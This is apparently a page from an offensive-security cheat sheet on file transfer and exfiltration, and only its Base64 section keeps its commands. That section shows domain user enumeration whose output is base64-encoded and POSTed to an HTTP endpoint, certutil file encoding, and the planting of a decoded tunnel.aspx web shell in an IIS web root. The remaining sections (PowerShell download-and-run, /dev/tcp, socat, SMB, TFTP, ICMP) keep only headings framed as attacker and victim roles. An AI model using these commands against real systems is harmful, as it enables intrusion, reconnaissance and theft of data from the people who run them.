File Transfer

Base64

String to base64 and POST with PowerShell:

PS > $str = cmd /c net user /domain
PS > $base64str = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
PS > IWR -Uri http://127.0.0.1/msg -Method POST -Body $base64str

File to base64 with certutil:

Cmd > certutil -encode <FILE_TO_ENCODE> C:\Windows\Temp\encoded.b64
Cmd > type C:\Windows\Temp\encoded.b64

Base64 file transfer from Linux to Windows:

$ base64 -w0 tunnel.aspx; echo
...BASE64_CONTENTS...
PS > Add-Content -Encoding UTF8 tunnel.b64 "<BASE64_CONTENTS>" -NoNewLine
PS > $data = Get-Content -Raw tunnel.b64
PS > [IO.File]::WriteAllBytes("C:\inetpub\wwwroot\uploads\tunnel.aspx", [Convert]::FromBase64String($data))

Print file by base64 chunks in console:

$ python -c "import base64;f=open('data.bin','rb');[print(base64.b64encode(c).decode()) for c in iter(lambda: f.read(4096), b'')]"

Hex

Compress a binary file and transfer it to Windows by copy-pasting commands into the console:

PowerShell

PowerShell upload file:

PowerShell auto detect proxy, download file from remote HTTP server and run it:

PowerShell manually set proxy and upload file to remote HTTP server:

Another proxy-aware download cradle:

Quicky connection tests for HTTP/HTTPS:

Through a negotiate proxy with creds (can also use proxy-negotiatearrow-up-right):

/dev/tcp

Attacker is the sender:

Victim is the sender:

socat

Recipient (Attacker):

Sender (Victim):

SSH

SSH + cat/type:

SMB

smbserver.py

Start SMB server:

Mount SMB in Windows with net use:

Mount SMB in Windows with New-PSDrive:

net share

FTP

TFTP

Send file.exe from Windows to Linux (TFTP client must be enabledarrow-up-right on Windows):

ICMP

Exfiltration / Infiltration

Tools

http-server

goshs

simplehttpserver

Last updated